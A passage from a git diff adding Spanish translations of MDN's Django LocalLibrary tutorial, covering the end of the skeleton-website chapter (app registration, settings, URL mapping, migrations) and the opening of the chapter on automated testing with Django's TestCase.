<strong>admin.py</strong>, el registro de aplicaciones en <strong>apps.py</strong>) y contienen algo de código base mínimo para trabajar con los objetos asociados.</p> + +<p>El directorio actualizado del proyecto debería tener ahora el aspecto siguiente:</p> + +<pre class="brush: bash"><em>locallibrary/</em> + manage.py + <em>locallibrary/ +</em><strong> <em>catalog/</em> + admin.py + apps.py + models.py + tests.py + views.py + __init__.py + <em>migrations/</em></strong> +</pre> + +<p>Además ahora tenemos:</p> + +<ul> + <li>Una carpeta <em>migrations</em> que se utiliza para guardar las "migraciones"— ficheros que te permiten actualizar tus bases de datos a medida que modificas tus modelos. </li> + <li><strong>__init__.py</strong> — Un fichero vacío creado aquí para que Django/Python reconozca la carpeta como un <a href="https://docs.python.org/3/tutorial/modules.html#packages">Paquete Python</a> y te permita usar sus objetos dentro de otras partes del proyecto.</li> +</ul> + +<div class="note"> +<p><strong>Nota</strong>: ¿Te has dado cuenta qué es lo que falta en la lista de ficheros de arriba? Si bien hay un lugar para que coloques tus vistas y modelos, no hay nada para que pongas los mapeos url, las plantillas y los ficheros estáticos. Te mostraremos cómo crearlos más adelante (éstos no se necesitan en todos los sitios web pero se necesitan en este ejemplo).</p> +</div> + +<h2 id="Registro_de_la_aplicación_catalog">Registro de la aplicación catalog</h2> + +<p>Ahora que se ha creado la aplicación tenemos que registrarla en el proyecto de manera que sea incluida cuando cualquiera de las herramientas se ejecute (por ejemplo, para añadir modelos a la base de datos). Las aplicaciones se registran añadiéndolas a la lista de <code>INSTALLED_APPS</code> en los ajustes del proyecto.</p> + +<p>Abre el fichero de ajustes del proyecto <strong>locallibrary/locallibrary/settings.py</strong> y encuentra la definición de la lista <code>INSTALLED_APPS</code>. Añade a continuación una nueva linea al final de la lista, como se muestra en negrilla abajo.</p> + +<pre class="brush: bash">INSTALLED_APPS = [ + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', +<strong> 'catalog.apps.CatalogConfig', </strong> +]</pre> + +<p>La nueva linea especifica el objeto de configuración de la aplicación (<code>CatalogConfig</code>) que se generó para tí en <strong>/locallibrary/catalog/apps.py</strong> cuando creaste la aplicación.</p> + +<div class="note"> +<p><strong>Nota</strong>: Te habrás fijado que hay ya un montón de otras <code>INSTALLED_APPS</code> (y <code>MIDDLEWARE</code>, más abajo en el fichero de ajustes). Éstas habilitan en soporte para el <a href="/es/docs/Learn/Server-side/Django/Admin_site">Sitio de admistración Django</a> y como consecuencia el motón de la funcionalidad que usa (incluyendo sesiones, autenticación, etc).</p> +</div> + +<h2 id="Especificación_de_la_base_de_datos">Especificación de la base de datos</h2> + +<p>Éste es también el punto donde normalmente especificarías la base de datos a utilizar en el proyecto — tiene sentido usar la misma base datos para desarrollo y producción donde sea posible, para evitar diferencias menores en el comportamiento. Puedes encontrar información sobre las diferentes opciones de bases de datos en <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#databases">Databases</a> (Django docs). </p> + +<p>Nosotros usaremos la base de datos SQLite para este ejemplo, porque no esperamos que se requiera un montón de accesos concurrentes en una base de datos de demostración, y también ¡porque no requiere trabajo adicional para ponerla en marcha! Puedes ver cómo está configurada en <strong>settings.py</strong> (más información también se incluye abajo):</p> + +<pre class="brush: python">DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), + } +} +</pre> + +<p>Debido a que usamos SQLite, no necesitamos hacer ningún ajuste adicional aquí. ¡Sigamos!</p> + +<h2 id="Otros_ajustes_del_proyecto">Otros ajustes del proyecto</h2> + +<p>El fichero <strong>settings.py</strong> se usa para configurar muchos otros ajustes, pero en este punto probablemente sólo querrás cambiar la <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-TIME_ZONE">TIME_ZONE</a> — ésta debería ser igual a una cadena de la <a href="https://en.wikipedia.org/wiki/List_of_tz_database_time_zones">Lista de base de datos tz de time zones</a> (la columna TZ column de la tabla contiene los valores que quieres). Cambia tu <code>TIME_ZONE</code> al valor de entre estas cadenas que sea apropiado para tu zona de tiempo, por ejemplo:</p> + +<pre class="brush: python">TIME_ZONE = 'Europe/Madrid'</pre> + +<p>Hay otros dos otros ajustes que no cambiarás ahora, pero de los que deberías ser consciente:</p> + +<ul> + <li><code>SECRET_KEY</code>. Ésta es una clave secreta que se usa como parte de la estrategia de seguridad del sitio web de Django. Si no vas a proteger este código durante el desarrollo, necesitarás usar un código diferente (quizás leyendo de una variable de entorno o un fichero) cuando lo pongas en producción. </li> + <li><code>DEBUG</code>. Ésto habilita que los registros (logs) de depuración se muestren en caso de error, en vez de las respuestas con los códigos de estado HTTP. Éste debería ajustarse a <code>false</code> en producción, ya que la información de depuración es útil a los atacantes. </li> +</ul> + +<h2 id="Conectar_el_mapeador_URL">Conectar el mapeador URL</h2> + +<p>El sitio web se crea con un fichero mapeador de URLs (<strong>urls.py</strong>) en la carpeta del proyecto. Aunque puedes usar este fichero para gestionar todos tus mapeos URL, es más usual deferir los mapeos a su aplicación asociada.</p> + +<p>Abre <strong>locallibrary/locallibrary/urls.py</strong> y fíjate en el texto educativo que explica algunas formas de usar el mapeador URL. </p> + +<pre class="brush: python">"""locallibrary URL Configuration + +The `urlpatterns` list routes URLs to views. For more information please see: + https://docs.djangoproject.com/en/2.0/topics/http/urls/ +Examples: +Function views + 1. Add an import: from my_app import views + 2. Add a URL to urlpatterns: path('', views.home, name='home') +Class-based views + 1. Add an import: from other_app.views import Home + 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') +Including another URLconf + 1. Import the include() function: from django.urls import include, path + 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) +""" +from django.contrib import admin +from django.urls import path + +urlpatterns = [ + path('admin/', admin.site.urls), +] +</pre> + +<p>Los mapeos URL se gestionan a través de la variable <code>urlpatterns</code>, que es una <em>lista</em> Python de funciones <code>path()</code>. Cada función <code>path()</code> o asocia un patrón URL a una <em>vista específica</em>, que se presentará cuando el patrón se empareja o con otra lista de código de comprobación de patrones URL (en este segundo caso, los patrones se convierten en la "URL base" de patrones definidos en el módulo destino). La lista <code>urlpatterns</code> define inicialmente una función que mapea todos los URLs con el patrón <em>admin/</em> al módulo <code>admin.site.urls</code> , que contiene las definiciones de mapeos URL propios de la aplicación de Administración.</p> + +<div class="note"> +<p><strong>Nota</strong>: La ruta en <code>path()</code> es una cadena que define un patrón URL para emparejar. Esta cadena podría incluir una variable nombrada (entre paréntesis angulares), ej. <code>'catalog/<id>/'</code>. Este patrón emparejará con una URL como <strong>/catalog/</strong><em>any_chars</em><strong>/</strong> y pasará a la vista <em>any_chars</em> como cadena asociada al parámetro de nombre <code>id</code>). Trataremos de los métodos de caminos y rutas de patrones más adelante en los últimos temas.</p> +</div> + +<p>Añade las lineas de abajo al final del fichero para añadir un nuevo elemento a la lista <code>urlpatterns</code>. Este nuevo elemento incluye un <code>path()</code> que redirige las peticiones con el patrón <code>catalog/</code> al módulo<code>catalog.urls</code> (el fichero con el URL relativo <strong>/catalog/urls.py</strong>).</p> + +<pre class="brush: python"># Use include() to add paths from the catalog application +from django.urls import include + +urlpatterns += [ + path('catalog/', include('catalog.urls')), +] +</pre> + +<p>Ahora redirijamos la URL raíz de nuestro sitio (ej. <code>127.0.0.1:8000</code>) al URL <code>127.0.0.1:8000/catalog/</code>; esta es la única app que usaremos en este proyecto, así que es lo que deberíamos hacer. Para hacer esto, usaremos una función especial (<code>RedirectView</code>), que toma como su primer argumento la nueva URL relativa a redirigir a (<code>/catalog/</code>) cuando el patrón URL especificado en la función <code>path()</code> se empareja (la URL raíz, en este caso).</p> + +<p>Añade las siguientes líneas, otra vez al final del fichero:</p> + +<pre class="brush: python">#Add URL maps to redirect the base URL to our application +from django.views.generic import RedirectView +urlpatterns += [ + path('', RedirectView.as_view(url='/catalog/', permanent=True)), +]</pre> + + + +<p>Deja el primer parámetro de la función path vacío, para implicar '/'. Si escribes el primer parámetro como '/' Django te dará la siguiente advertencia cuando arranque el servidor de desarrollo:</p> + +<p><em>La comprobación del sistema encontró algunos problemas:</em></p> + +<pre><em>WARNINGS: +?: (urls.W002) Tu patrón URL '/' tiene una ruta que empieza con una '/'. +Quita esta barra invertida ya que es inncesaria. +Si este patrón figura como destino en un include(), asegúrate que el patrón include() tiene un '/' final.</em></pre> + + + +<p>Django no sirve ficheros estáticos como CSS, JavaScript e imágenes por defecto, pero puede ser útil para el servidor web de desarrollo hacerlo así mientras creas tu sitio. Como adición final a este mapeador URL, puedes habilitar el servicio de ficheros estáticos durante el desarrollo añadiendo las líneas siguientes.</p> + +<p>Añade ahora el siguiente bloque final al final del fichero:</p> + +<pre><code># Use static() to add url mapping to serve static files during development (only) +from django.conf import settings +from django.conf.urls.static import static + +urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)</code> +</pre> + +<div class="note"> +<p><strong>Nota</strong>: Hay numerosas formas de extender la lista <code>urlpatterns</code> (arriba hemos añadido simplemente un nuevo elemento a la lista usando el operador<span style="font-size: 1.125rem;"> </span><code>+=</code><span style="font-size: 1.125rem;"> para separar claramente el código antiguo y el nuevo</span><span style="font-size: 1.125rem;">). En vez de ello podríamos haber simplemente incluido este nuevo patrón de mapeo en la definición de la lista original:</span></p> + +<pre class="brush: python">urlpatterns = [ + path('admin/', admin.site.urls), + path('catalog/', include('catalog.urls')), + path('/', RedirectView.as_view(url='/catalog/', permanent=True)), +] + <code>static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)</code> +</pre> + +<p>Además, hemos incluido la linea import (<code>from django.urls import include</code>) con el código que la usa (de manera que sea fácil ver qué hemos añadido), pero es común incluir todas tus líneas import al principio del fichero Python.</p> +</div> + +<p>Como paso final, crea un fichero dentro de tu carpeta catalog llamado <strong>urls.py</strong>, y añade el siguiente texto para definir la <code>urlpatterns</code> importada (vacía). Éste es donde añadimos nuestros patrones a medida que construimos la aplicación. </p> + +<pre class="brush: python">from django.conf.urls import url + +from . import views + + +urlpatterns = [ + +] +</pre> + +<h2 id="Prueba_del_framework_del_sitio_web">Prueba del framework del sitio web</h2> + +<p>En este punto tenemos un proyecto de esqueleto completo. El sitio web <em>no hace</em> realmente nada todavía, pero merece la pena ejecutarlo para estar seguros de que ninguno de nuestros cambios no han roto nada.</p> + +<p>Antes de hacerlo, deberíamos primero ejecutar una <em>migración de la base de datos</em>. Ésto actualiza nuestra base de datos para incluir todos los modelos de nuestras aplicaciones instaladas (y eliminar algunas advertencias de construcción).</p> + +<h3 id="Ejecución_de_migraciones_de_la_base_de_datos">Ejecución de migraciones de la base de datos</h3> + +<p>Django usa un Object-Relational-Mapper (ORM) para mapear las definiciones de Modelos en el código Django con la estructura de datos utilizada por la base de datos subyacente. A medida que cambiamos nuestras definiciones de modelos, Django sigue la pista a los cambios y puede crear scripts de migración de la base de datos (en <strong>/locallibrary/catalog/migrations/</strong>) para migrar automáticamente la estructura de datos subyacente en el base de datos para igualarse al modelo.</p> + +<p>Cuando creamos el sitio web de Django añadimos automáticamente unos cuantos modelos para que ser usados por la sección de administración del sitio (al que echaremos un vistazo más tarde). Ejecuta los siguientes comandos para definir tablas para esos modelos de la base (asegúrate que estás en el directorio que contiene <strong>manage.py</strong>):</p> + +<pre class="brush: bash">python3 manage.py makemigrations +python3 manage.py migrate +</pre> + +<div class="warning"> +<p><strong>Importante</strong>: Necesitarás ejecutar los comandos de arriba cada vez que cambien tus modelos de una manera que afecte a la estructura de datos y necesite ser guardada (incluyendo tanto la adicción como la eliminación de modelos enteros o campos individuales).</p> +</div> + +<p>El comando <code>makemigrations</code> <em>crea</em> (pero no aplica) las migraciones para todas las aplicaciones instaladas en tu proyecto (también puedes especificar el nombre de una aplicación para ejecutar una migración para un sólo proyecto). Ésto te da la opoortunidad de comprobar el código para estas migraciones antes de que se apliquen — cuando seas un experto en Django ¡podrás elegir modificarlos ligeramente!</p> + +<p>El comando <code>migrate</code> aplica realmente las migraciones a tu base de datos (Django lleva la cuenta de cuáles han sido añadidas a la base de datos actual).</p> + +<div class="note"> +<p><strong>Nota</strong>: Mira en <a href="https://docs.djangoproject.com/en/2.0/topics/migrations/">Migrations</a> (Django docs) para obtener información adicional sobre los comandos de migración menos usados.</p> +</div> + +<h3 id="Arrancando_el_sitio_web">Arrancando el sitio web</h3> + +<p>Durante el desarrollo puedes probar el sitio web usando para servirlo el <em>servidor de desarrollo web</em>, y visualizádolo en tu explorador web local. </p> + +<div class="note"> +<p><strong>Nota</strong>: el servidor web de desarrollo no es robusto y sin suficientes prestaciones para su uso en producción, pero es una manera muy fácil de tener levantado y funcionando tu sitio web Django durante el desarrollo para hacerle una prueba rápida y conveniente. Por defecto servirá el sitio a tu computadora local <span style="font-size: 1.125rem;">(</span><code>http://127.0.0.1:8000/)</code><span style="font-size: 1.125rem;">, pero puedes también especificar que se sirva a otras computdoras en tu red.</span><span style="font-size: 1.125rem;"> Para más información ver </span><a href="https://docs.djangoproject.com/en/2.0/ref/django-admin/#runserver" style="font-size: 1.125rem;">django-admin y manage.py: runserver</a><span style="font-size: 1.125rem;"> (Django docs).</span></p> +</div> + +<p>Ejecuta el <em>servidor web de desarrollo</em> llamando al comando <code>runserver</code> (en el mismo directorio donde está <strong>manage.py</strong>):</p> + +<pre class="brush: bash">python3 manage.py runserver + + Performing system checks... + + System check identified no issues (0 silenced). + September 22, 2016 - 16:11:26 + Django version 1.10, using settings 'locallibrary.settings' + Starting development server at http://127.0.0.1:8000/ + Quit the server with CTRL-BREAK. +</pre> + +<p>Una vez que el servidor está funcionando puedes ver el sitio navegando a <code>http://127.0.0.1:8000/</code> en tu explorador local. Deberías ver una página de error del sitio que tiene el siguiente aspecto:</p> + +<p><img alt="Django Debug page for Django 2.0" src="https://mdn.mozillademos.org/files/15729/django_404_debug_page.png"></p> + +<p>¡No te preocupes! Esta página de error es lo esperado porque no tenemos ninguna página/url definidas en el módulo <code>catalogs.urls</code> (que es al que nos redirigimos cuando obtenemos la URL a la raíz del sitio). </p> + +<div class="note"> +<p><strong>Nota</strong>: La página superior demuestra una gran característica de Django— El registro de depuración automático. Cada vez que una página no pueda ser encontrada, o el código provoque un error cualquiera, se mostrará una pantalla de error con información útil. En este caso vemos que la URL que hemos suministrado no empareja con ninguno de nuestros patrones de URL (como los listados). El resgistro de depuración puede desconectarse durante la producción (cuando colocamos el sitio en vivo en la Web), en cuyo caso se servirá una página menos informativa pero más amigable.</p> +</div> + +<p>¡En este punto ya sabemos que Django está funcionando!</p> + +<div class="note"> +<p><strong>Nota</strong>: Deberías volver a ejecutar las migraciones y volver a probar el sitio cada vez que hagas cambios significativos. ¡No lleva tanto tiempo!</p> +</div> + +<h2 id="Desafíate_a_tí_mismo">Desafíate a tí mismo</h2> + +<p>El directorio <strong>catalog/</strong> contiene ficheros para las vistas, modelos y otras partes de la aplicación. Abre estos ficheros e inspecciona el código base. </p> + +<p>Como has visto arriba, se ha añadido ya un mapeo de URLs para el sitio de administración en el fichero del proyecto <strong>urls.py</strong>. Navega al área de adminsitración en tu explorador y mira qué sucede (puedes inferir el URL correcto de los mapeos de arriba).</p> + +<ul> +</ul> + +<h2 id="Sumario">Sumario</h2> + +<p>ahora ya has creado un proyecto de esqueleto completo de sitio web, con el que puedes continuar rellenando con urls, modelos, vistas y plantillas.</p> + +<p>Ahora que el esqueleto del <a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">sitio web de la BibliotecaLocal</a> está completo y funcionando, es hora de empezar a escribir el código que hace que este sitio haga lo que se supone que debe hacer. </p> + +<h2 id="Ver_también">Ver también</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/2.0/intro/tutorial01/">Escribiendo tu primera aplicación Django - parte 1</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/applications/#configuring-applications">Aplicaciones</a> (Django Docs). Contiene información sobre cómo configurar aplicaciones.</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}}</p> + +<h2 id="En_este_módulo">En este módulo</h2> + +<ul> + <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> diff --git a/files/es/learn/server-side/django/testing/index.html b/files/es/learn/server-side/django/testing/index.html new file mode 100644 index 0000000000..54055b2780 --- /dev/null +++ b/files/es/learn/server-side/django/testing/index.html @@ -0,0 +1,906 @@ +--- +title: 'Tutorial de Django Parte 10: Probando una aplicación web Django' +slug: Learn/Server-side/Django/Testing +translation_of: Learn/Server-side/Django/Testing +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Forms", "Learn/Server-side/Django/Deployment", "Learn/Server-side/Django")}}</div> + +<p class="summary">A medida que crecen los sitios web se vuelven más difíciles de probar a mano — no sólo hay más para probar, sino que además, a medida que las interacciones entre los componentes se vuelven más complejas, un pequeño cambio en un área puede suponer muchas pruebas adicionales para verificar su impacto en otras áreas. Una forma de mitigar estos problemas es escribir tests automatizados, que pueden ser ejecutados de manera fácil y fiable cada vez que hagas un cambio. Este tutorial muestra cómo automatizar la unidad de pruebas de tu sitio web usando el framework de pruebas de Django.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Prerequisites:</th> + <td>Completa todos los tópicos anteriores, incluyendo <a href="/en-US/docs/Learn/Server-side/Django/Forms">Tutorial Django Parte 9: Trabajando con formularios</a>.</td> + </tr> + <tr> + <th scope="row">Objective:</th> + <td>Entender como escribir pruebas unidatarias para django basado en Páginas web.</td> + </tr> + </tbody> +</table> + +<h2 id="Vista_previa">Vista previa</h2> + +<p>El <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Local Library</a> actualmente tiene páginas para mostrar las listas con todos los libros y autores, vistas detalladas para los items de <code>Book</code> y <code>Author,</code><span class="tlid-translation translation" lang="es"><span title="">una página para renovar BookInstances y páginas para crear, actualizar y eliminar elementos de autor (y también registros de libros, si usted completó el desafío en el tutorial de formularios).</span> <span title="">Incluso con este sitio relativamente pequeño, navegar manualmente a cada página y verificar superficialmente que todo funcione como se espera, puede llevar varios minutos.</span> <span title="">A medida que hagamos cambios y el sitio vaya creciendo, el tiempo requerido para verificar manualmente que todo funcione "correctamente", aumentará de forma muy perniciosa.</span> <span title="">Si continuamos como estamos, pasaríamos la mayor parte de nuestro tiempo probando, y muy poco tiempo mejorando nuestro código.</span></span></p> + +<p>¡Las pruebas automatizadas realmente pueden ayudar con este problema! Los beneficios obvios son que pueden ejecutarse mucho más rápido que las pruebas manuales, pueden probar con un nivel de detalle mucho más bajo y probar exactamente la misma funcionalidad cada vez (¡los testers humanos no son tan confiables!) Porque son pruebas rápidas y automatizadas se puede ejecutar más regularmente, y si falla una prueba,<br> + señalan exactamente dónde el código no está funcionando como se esperaba.</p> + +<p><span class="tlid-translation translation" lang="es"><span title="">Además, las pruebas automatizadas pueden actuar como el primer "usuario" del mundo real de su código, lo que le obliga a ser riguroso a la hora de definir y documentar bien, cómo debe comportarse su sitio web.</span> <span title="">A menudo son la base de sus ejemplos de código y documentación.</span> <span title="">Por estas razones, algunos procesos de desarrollo de software comienzan con la definición e implementación de la prueba, después de lo cual el código se escribe para que coincida con el comportamiento requerido (por ejemplo, desarrollo basado en pruebas y en comportamiento).</span><br> + <br> + <span title="">Este tutorial muestra cómo escribir pruebas automatizadas para Django, agregando una serie de pruebas al sitio web LocalLibrary.</span></span></p> + +<h3 id="Tipos_de_pruebas">Tipos de pruebas</h3> + +<p>Hay numeroso tipos, niveles y clasificaciones de pruebas y enfoques de pruebas. Las pruebas automáticas más importantes son:</p> + +<dl> + <dt>Pruebas unitarias</dt> + <dd>Verifica el comportamiento funcional de un componente individual, a menudo de una clase y su nivel de funcional.</dd> + <dt>Pruebas de regresión</dt> + <dd>Pruebas que reproducen errores históricos. Cada prueba es inicialmente ejecutada para verificar que el error ha sido corregido, y estos son ejecutados de nuevo para asegurarnos que los errores no fueron reintroducidos con los futuros cambios en el código.</dd> + <dt>Pruebas de integración</dt> + <dd>Verifica cómo funcionan los grupos de componentes cuando se usan juntos. Las pruebas de integración son conscientes de las interacciones requeridas entre componentes, pero no necesariamente de las operaciones internas de cada componente. Pueden cubrir agrupaciones simples de componentes hasta todo el sitio web.</dd> +</dl> + +<div class="note"> +<p><strong>Nota: </strong>Otros tipos comunes de pruebas incluyen pruebas de caja negra, caja blanca, manuales, automatizadas, canarias, de humo, de conformidad, de aceptación, funcionales, de rendimiento, de carga y de esfuerzo. Búscalos para más información.</p> +</div> + +<h3 id="Que_provee_Django_para_pruebas">Que provee Django para pruebas?</h3> + +<p>Probar un sitio web es una tarea compleja, porque está compuesto por varias capas de lógica, desde el manejo de solicitudes a nivel HTTP, modelos de consultas, hasta la validación y procesamiento de formularios y la representación de plantillas.</p> + +<p>Django proporciona un marco de prueba con una pequeña jerarquía de clases que se basan en la libreria <code><a href="https://docs.python.org/3/library/unittest.html#module-unittest" title="(in Python v3.5)">unittest</a></code> estándar Python. A pesar del nombre, este marco de prueba es adecuado tanto para pruebas unitarias como de integración. El marco de Django agrega métodos y herramientas API para ayudar a probar el comportamiento web y específico de Django. Estos le permiten simular solicitudes, insertar datos de prueba e inspeccionar la salida de su aplicación. Django también proporciona una API(<a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#liveservertestcase">LiveServerTestCase</a>) y herramientas para <a href="https://docs.djangoproject.com/en/1.10/topics/testing/advanced/#other-testing-frameworks">usar diferentes frameworks de pruebas</a> , por ejemplo, puede integrarse con el popular framework <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Selenium</a> para simular la interacción de un usuario con un navegador en vivo.</p> + +<p>Para escribir una prueba, se deriva de cualquiera de las clases base de prueba de Django (o unittest)(<a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#simpletestcase">SimpleTestCase</a>, <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#transactiontestcase">TransactionTestCase</a>, <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">TestCase</a>, <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#liveservertestcase">LiveServerTestCase</a>) y luego escribir métodos separados para verificar que la funcionalidad específica funcione como se esperaba (las pruebas usan métodos "assert" para probar que las expresiones dan valores <code>True</code> o <code>False</code>, o que dos valores son iguales, etc.) Cuando inicia una ejecución de prueba, el marco ejecuta los métodos de prueba elegidos en sus clases derivadas. Los métodos de prueba se ejecutan de forma independiente, con un comportamiento común de configuración y / o desmontaje definido en la clase, como se muestra a continuación.</p> + +<pre class="brush: python notranslate">class YourTestClass(TestCase): + + def setUp(self): + #Setup run before every test method. + pass + + def tearDown(self): + #Clean up run after every test method. + pass + + def test_something_that_will_pass(self): + self.assertFalse(False) + + def test_something_that_will_fail(self): + self.assertTrue(False) +</pre> + +<p>La mejor clase base para la mayoría de las pruebas es <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">django.test.TestCase</a>. Esta clase de prueba crea una base de datos limpia antes de que se ejecuten sus pruebas y ejecuta cada función de prueba en su propia transacción. La clase también posee una prueba <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#django.test.Client" title="django.test.Client">Client</a> que puede utilizar para simular la interacción de un usuario con el código en el nivel de vista. En las siguientes secciones, nos concentraremos en las pruebas unitarias, creadas con esta clase <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">TestCase</a></p> + +<div class="note"> +<p><strong>Nota:</strong> La clase <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">django.test.TestCase</a> es muy conveniente, pero puede resultar en que algunas pruebas sean más lentas de lo necesario (no todas las pruebas necesitarán configurar su propia base de datos o simular la interacción de la vista). Una vez que esté familiarizado con lo que puede hacer con esta clase, es posible que desee reemplazar algunas de sus pruebas con las clases de prueba más simples disponibles.</p> +</div> + +<h3 id="Que_deberias_probar">Que deberias probar?</h3> + +<p>Debe probar todos los aspectos de su propio código, pero no ninguna biblioteca o funcionalidad proporcionada como parte de Python o Django.</p> + +<p>Por ejemplo, considere el modelo <code>Author</code> definido abajo. No es necesario probarlo explícitamente <code>first_name</code> y <code>last_name</code> han sido almacenados correctamente como <code>CharField</code> en la base de datos porque eso es algo definido por Django (aunque, por supuesto, en la práctica, inevitablemente probará esta funcionalidad durante el desarrollo). Tampoco es necesario probar que el <code>date_of_birth</code> ha sido validado para ser un campo de fecha, porque nuevamente es algo implementado en Django.</p> + +<p>Sin embargo, debe verificar el texto utilizado para las etiquetas (nombre, apellido, fecha de nacimiento, fallecimiento) y el tamaño del campo asignado para el texto (100 caracteres), porque estos son parte de su diseño y algo que podría ser roto / cambiado en el futuro.</p> + +<pre class="brush: python notranslate">class Author(models.Model): + first_name = models.CharField(max_length=100) + last_name = models.CharField(max_length=100) + date_of_birth = models.DateField(null=True, blank=True) + date_of_death = models.DateField('Died', null=True, blank=True) + + def get_absolute_url(self): + return reverse('author-detail', args=[str(self.id)]) + + def __str__(self): + return '%s, %s' % (self.last_name, self.first_name)</pre> + +<p>Del mismo modo, debe verificar que los métodos personalizados <code style="font-style: normal; font-weight: normal;">get_absolute_url()</code> y <code style="font-style: normal; font-weight: normal;">__str__()</code>comportarse como sea necesario porque son su código / lógica empresarial. En el caso de <code style="font-style: normal; font-weight: normal;">get_absolute_url()</code> puedes confiar en que el metodo de Django <code>reverse()</code> se ha implementado correctamente, por lo que lo que está probando es que la vista asociada se haya definido realmente.</p> + +<div class="note"> +<p><strong>Nota:</strong> Los lectores astutos pueden notar que también querríamos restringir la fecha de nacimiento y muerte a valores sensibles, y comprobar que la muerte viene después del nacimiento. En Django, esta restricción se agregaría a sus clases de formulario (aunque puede definir validadores para los campos, estos parecen usarse solo en el nivel del formulario, no en el nivel del modelo).</p> +</div> + +<p>Con eso en mente, comencemos a ver cómo definir y ejecutar pruebas.</p> + +<h2 id="Descripción_general_de_la_estructura_de_prueba">Descripción general de la estructura de prueba</h2> + +<p>Antes de entrar en los detalles de "qué probar", primero veamos brevemente dónde y cómo se definen las pruebas..</p> + +<p>Django utiliza el descubrimiento de pruebas integrado del módulo unittest (<a href="https://docs.python.org/3/library/unittest.html#unittest-test-discovery" title="(in Python v3.5)">built-in test discovery)</a>, que descubrirá pruebas en el directorio de trabajo actual en cualquier archivo nombrado con el patrón <strong>test*.py</strong>. Siempre que asigne un nombre a los archivos de forma adecuada, puede utilizar la estructura que desee. Le recomendamos que cree un módulo para su código de prueba y que tenga archivos separados para modelos, vistas, formularios y cualquier otro tipo de código que necesite probar. Por ejemplo:</p> + +<pre class="notranslate">catalog/ + /tests/ + __init__.py + test_models.py + test_forms.py + test_views.py +</pre> + +<p>Cree una estructura de archivo como se muestra arriba en su proyecto <em>LocalLibrary</em>. El <strong>__init__.py</strong> debe ser un archivo vacío (esto le dice a Python que el directorio es un paquete). Puede crear los tres archivos de prueba copiando y cambiando el nombre del archivo de prueba de esqueleto <strong>/catalog/tests.py</strong>.</p> + +<div class="note"> +<p><strong>Note:</strong>El archivo de prueba <strong>/catalog/tests.py</strong>se creó automáticamente cuando creamos el sitio web esqueleto de Django ( <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">built the Django skeleton website)</a>.</p> + +<p>Es perfectamente "legal" poner todas sus pruebas dentro de él, pero si prueba correctamente, rápidamente terminará con un archivo de prueba muy grande e inmanejable.</p> + +<p>Elimina el archivo esqueleto ya que no lo necesitaremos.</p> +</div> + +<p>Abre el archivo <strong>/catalog/tests/test_models.py</strong>. El archivo debe importar <code>django.test.TestCase</code>, como se muestra:</p> + +<pre class="brush: python notranslate">from django.test import TestCase + +# Create your tests here. +</pre> + +<p>A menudo, agregará una clase de prueba para cada modelo / vista / formulario que desee probar, con métodos individuales para probar una funcionalidad específica. En otros casos, es posible que desee tener una clase separada para probar un caso de uso específico, con funciones de prueba individuales que prueben aspectos de ese caso de uso (por ejemplo, una clase para probar que un campo de modelo está validado correctamente, con funciones para probar cada uno de los posibles 